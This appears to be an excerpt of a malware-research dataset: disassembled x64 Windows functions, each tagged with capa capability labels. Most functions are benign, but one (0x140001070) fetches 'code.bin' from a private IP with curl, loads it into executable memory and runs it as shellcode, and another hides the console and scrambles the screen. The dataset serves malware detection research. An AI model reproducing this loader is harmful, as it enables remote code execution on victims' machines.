joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001110
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x20]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001139
xor eax, eax
jmp 0x14000118f
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x140001162
xor eax, eax
jmp 0x14000118f
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x28]
mov qword [rcx], rax
mov eax, 1
add rsp, 0x18
ret
Function at 0x1400021e1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x140006140]
syscall
ret

Function at 0x140001000
Capabilities:
Capture screenshot

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov r14d, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov r15d, eax
call qword [sym.imp.USER32.dll_GetDC]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r13d, r13d
nop dword [rax]
nop dword [rax + rax]
mov dword [rsp + 0x40], 0x42
mov r9d, r14d
mov dword [rsp + 0x38], r13d
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x40], 0xff0062
mov r9d, r14d
mov dword [rsp + 0x38], r13d
xor r8d, r8d
mov dword [rsp + 0x30], r13d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r12d, 0xa
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r14d
mov ebp, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv r15d
mov esi, edx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x64
sub edi, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rsp + 0x40], 0xcc0020
mov r9d, edi
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
lea eax, [rdi + rbp]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
mov edx, ebp
sub r8d, ecx
lea ecx, [r8 + rsi]
mov dword [rsp + 0x38], ecx
mov rcx, rbx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], r8d
mov r8d, esi
call qword [sym.imp.GDI32.dll_BitBlt]
sub r12, 1
jne 0x1400010e6
jmp 0x140001070

Function at 0x140001a58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa4
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push rdi
sub rsp, 0x210
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x200], rax
lea rdx, [0x1400032a8]
mov byte [rsp + 0x20], 0
lea rcx, str.curl_http:__192.168.242.159_code.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rdi, rax
test rax, rax
jne 0x1400010c5
lea rcx, str.popen___failed.
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
je 0x14000112c
mov qword [rsp + 0x220], rbx
lea rbx, [rsp + 0x30]
nop dword [rax]
movzx eax, byte [rsp + 0x20]
lea rcx, [0x1400032c0]
mov edx, eax
mov byte [rbx], al
call fcn.140001010
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
lea rbx, [rbx + 1]
mov r9, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
test rax, rax
jne 0x1400010f0
mov rbx, qword [rsp + 0x220]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov edx, 0x1cc
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [rsp + 0x30]
mov r8d, 3
mov r9, rax
mov rcx, rax
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x140001160
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x40]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
call r9
xor eax, eax
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.140001210
add rsp, 0x210
pop rdi
ret

Function at 0x140001ad0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b1a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b1c
xor al, al
add rsp, 0x28
ret
Function at 0x140001c08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c52
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c54
xor al, al
add rsp, 0x28
ret

Function at 0x140002050
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, r8d
mov rbx, rdx
mov dword [rsp + 0x20], 0
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x20], eax
test eax, eax
je 0x1400020f2
cmp word [rbx], 0
je 0x1400020f2
lfence
lea rdx, [0x140017490]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400020a2
mov ecx, 0x57
mov word [rax + 4], cx
jmp 0x1400020f2
lfence
lea rdx, [0x140017478]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400020f2
cmp edi, 2
jbe 0x1400020f2
lfence
lea rdx, [rdi*2 - 2]
mov r9d, 0x12
lea r8, [0x140017460]
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400048b0
mov ecx, 0x57
mov word [rbx + 4], cx
mov eax, dword [rsp + 0x20]
jmp 0x1400020fc
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140002110
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, r8d
mov rbx, rdx
mov dword [rsp + 0x20], 0
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rsp + 0x20], eax
test eax, eax
je 0x1400021a3
cmp byte [rbx], 0
je 0x1400021a3
lfence
lea rdx, [0x1400174c8]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
je 0x14000215c
mov byte [rax + 2], 0x57
jmp 0x1400021a3
lfence
lea rdx, [0x1400174b8]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400021a3
cmp edi, 2
jbe 0x1400021a3
lfence
lea rdx, [rdi - 1]
mov r9d, 9
lea r8, [0x1400174a8]
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400048b0
mov byte [rbx + 2], 0x57
mov eax, dword [rsp + 0x20]
jmp 0x1400021ad
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1400021c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, r8d
mov rbx, rdx
mov dword [rsp + 0x20], 0
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x20], eax
test eax, eax
je 0x140002262
cmp word [rbx], 0
je 0x140002262
lfence
lea rdx, [0x140017508]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140002212
mov ecx, 0x57
mov word [rax + 4], cx
jmp 0x140002262
lfence
lea rdx, [0x1400174f0]
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140002262
cmp edi, 2
jbe 0x140002262
lfence
lea rdx, [rdi*2 - 2]
mov r9d, 0x12
lea r8, [0x1400174d8]
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400048b0
mov ecx, 0x57
mov word [rbx + 4], cx
mov eax, dword [rsp + 0x20]
jmp 0x14000226c
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140006560
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
xor eax, eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x34], eax
test rcx, rcx
jne 0x1400065a9
mov r8d, 0x4899
lea rdx, [0x140019b30]
lea rcx, [0x140019a68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
jne 0x1400065c8
mov r8d, 0x489a
lea rdx, [0x140019a80]
lea rcx, str.v___NULL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rsi, rsi
jne 0x1400065e7
mov r8d, 0x489b
lea rdx, [0x1400199a0]
lea rcx, str.b___NULL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000661d
cmp dword [rsp + 0x34], 4
je 0x140006629
mov eax, 1
jmp 0x140006629
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400011f0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x140006750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x50
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov dword [rsp + 0x38], 0x265e5c22
mov dword [rsp + 0x3c], 0x7c7d7b60
mov dword [rsp + 0x40], 0x3e3c5b5d
test rcx, rcx
jne 0x1400067a5
mov r8d, 0x2a86
lea rdx, [0x14001a260]
lea rcx, str.s___NULL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp byte [rdi], 0
jne 0x1400067c4
mov r8d, 0x2a87
lea rdx, [0x14001a1b0]
lea rcx, [0x14001a190]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rbx, rbx
jne 0x1400067e3
mov r8d, 0x2a88
lea rdx, [0x14001a0e0]
lea rcx, str.d___NULL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp byte [rdi], 0
je 0x140006854
test rbx, rbx
je 0x140006854
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rbx
lea r14, [rbx + rsi]
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
cmp rbx, r14
jae 0x14000684b
movzx eax, byte [rdi]
test al, al
je 0x14000684b
xor edx, edx
mov dword [rsp + 0x20], edx
cmp edx, 2
jae 0x140006830
cmp al, byte [rsp + rdx + 0x38]
jne 0x140006847
mov byte [rbx], 0x5c
inc rbx
mov qword [rsp + 0x28], rbx
movzx eax, byte [rdi]
mov byte [rbx], al
inc rbx
mov qword [rsp + 0x28], rbx
inc rdi
mov qword [rsp + 0x30], rdi
jmp 0x140006808
inc edx
jmp 0x140006816
mov byte [r14 - 1], 0
xor eax, eax
jmp 0x140006860
mov eax, 1
jmp 0x140006860
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop r14
ret
Function at 0x140001020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001053
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rbx, rax
je 0x140001097
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001092
cmp rbx, r11
jae 0x140001097
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001080
cmp rbx, r11
jb 0x14000109b
xor eax, eax
jmp 0x1400010a7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001120
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
lea rdx, str.SOFTWARECANON_
mov ebx, 1
mov rcx, rdi
call fcn.1400223e0
test eax, eax
je 0x140001166
lea rdx, str.SOFTWARECANON_
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x140001166
cmp eax, 2
je 0x140001166
xor ecx, ecx
cmp eax, 3
cmovne ebx, ecx
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001180
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbx
push rbp
sub rsp, 0xb8
mov rax, qword [0x1400e71f0]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rbx, rdx
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x90], rcx
mov rdx, r8
mov rcx, rbx
mov rbp, r8
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rax, [rsp + 0x60]
mov r9d, 0x20119
xor r8d, r8d
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], 0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400013d9
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x88]
xor r8d, r8d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x84]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x140001279
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1400013b2
cmp dword [rsp + 0x6c], 0
mov qword [rsp + 0xe8], rsi
mov qword [rsp + 0xb0], rdi
jne 0x1400012ac
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x1400013a0
mov ecx, dword [rsp + 0x68]
add ecx, 1
add rcx, rcx
call fcn.140080f70
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x68]
lea ecx, [rax + rcx + 2]
add rcx, rcx
call fcn.140080f70
mov ebx, dword [rsp + 0x6c]
test ebx, ebx
mov rsi, rax
je 0x140001377
nop
nop
nop
mov ecx, dword [rsp + 0x68]
xor eax, eax
lea edx, [rbx - 1]
mov qword [rsp + 0x38], rax
add ecx, 1
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x70], ecx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x70]
mov r8, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140001367
lea rdx, [0x1400a3e08]
mov r9, rdi
mov r8, rbp
mov rcx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x90]
mov r8, rsi
call fcn.140001180
test eax, eax
jne 0x14000136e
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001390
cmp eax, 0x103
jne 0x1400013cc
add ebx, 0xffffffff
jne 0x1400012f0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x78]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, rdi
call fcn.140080f20
mov rcx, rsi
call fcn.140080f20
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xb0]
xor eax, eax
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140081050
add rsp, 0xb8
pop rbp
pop rbx
ret
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001390
cmp eax, 2
je 0x14000126f
cmp eax, 3
je 0x14000126f
xor eax, eax
jmp 0x1400013b2
Function at 0x1400013f0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, rdx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001423
test al, 1
je 0x140001423
xor eax, 1
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x140001423
add rsp, 0x20
pop rbx
ret
mov eax, 1
add rsp, 0x20
pop rbx
ret

Function at 0x140001430
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, 0x104
mov edi, edx
mov qword [rsp + 0x40], 0
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
test rax, rax
mov rbx, rax
jne 0x14000146b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea r8, [rsp + 0x40]
mov edx, edi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov rcx, qword [rsp + 0x40]
mov rdx, rbx
mov edi, eax
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
jne 0x140001497
mov rcx, rbx
call qword [sym.imp.ole32.dll_CoTaskMemFree]
test edi, edi
jne 0x1400014db
cmp qword [rsp + 0x40], 0
je 0x1400014db
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], 0
call qword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
js 0x1400014db
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400014db
mov rax, qword [rcx]
mov rdx, qword [rsp + 0x40]
call qword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400015a0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x450
mov rax, qword [0x1400e71f0]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov eax, dword [rcx]
xor ebx, ebx
cmp eax, 2
je 0x1400016c3
cmp eax, 3
je 0x1400016c3
cmp dword [0x1400e9420], 0x136
je 0x1400016c3
cmp dword [rcx + 0x250], ebx
je 0x1400016c3
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x204
mov qword [rsp + 0x460], rdi
mov dword [rsp + 0x20], ebx
call fcn.140080d50
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea rcx, [rsp + 0x234]
xor edx, edx
mov r8d, 0x204
mov dword [rsp + 0x230], ebx
call fcn.140080d50
lea r9, str.CNAP1NSD.DLL
lea r8, [rsp + 0x20]
lea rdx, [0x1400a3e50]
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
mov rdi, rax
jne 0x14000169d
lea eax, [rbx + 1]
mov rdi, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140081050
add rsp, 0x450
pop rbx
ret
lea rdx, str.PMUninstall
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400016b6
call rax
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
jmp 0x14000167c
mov eax, 1
jmp 0x140001684
Function at 0x140001750
Capabilities:
Check if file exists
Delete file
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x470
mov rax, qword [0x1400e71f0]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov rbp, qword [rsp + 0x4c0]
mov rdi, r8
mov rbx, rdx
xor r13d, r13d
lea rcx, [rsp + 0x44]
mov esi, 1
xor edx, edx
mov r8d, 0x204
mov r12, r9
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x38], 0x104
mov dword [rsp + 0x40], r13d
call fcn.140080d50
lea rcx, [rsp + 0x254]
xor edx, edx
mov r8d, 0x204
mov dword [rsp + 0x250], r13d
call fcn.140080d50
lea rcx, [rsp + 0x250]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rsp + 0x250]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea r11, [rsp + 0x30]
lea rdx, [rsp + 0x250]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001888
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov rdx, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000187d
lea rcx, [rsp + 0x40]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000187d
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
cmove esi, r13d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140081050
mov rbx, qword [rsp + 0x4a0]
add rsp, 0x470
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001b30
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x1400e71f0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x206
mov dword [rsp + 0x20], 0
call fcn.140080d50
lea rcx, [rsp + 0x20]
mov edx, 0x105
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rsp + 0x20]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov r11d, dword [rbx]
add r11d, 0xfffffffe
cmp r11d, 8
ja case.0x140001bb0.7
lea rcx, [0x140000000]
movsxd rax, r11d
mov edx, dword [rcx + rax*4 + 0x1c50]
add rdx, rcx
jmp rdx
lea rdx, [0x1400a3ff4]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [0x1400e9320]
jmp 0x140001c20
lea rdx, str.SpoolDriversx642
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x1400a3ff4]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [0x1400e9328]
jmp 0x140001c20
lea rdx, str.SpoolDriversx643
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x1400a3ff4]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [0x1400e9330]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140081050
mov rbx, qword [rsp + 0x258]
add rsp, 0x240
pop rdi
ret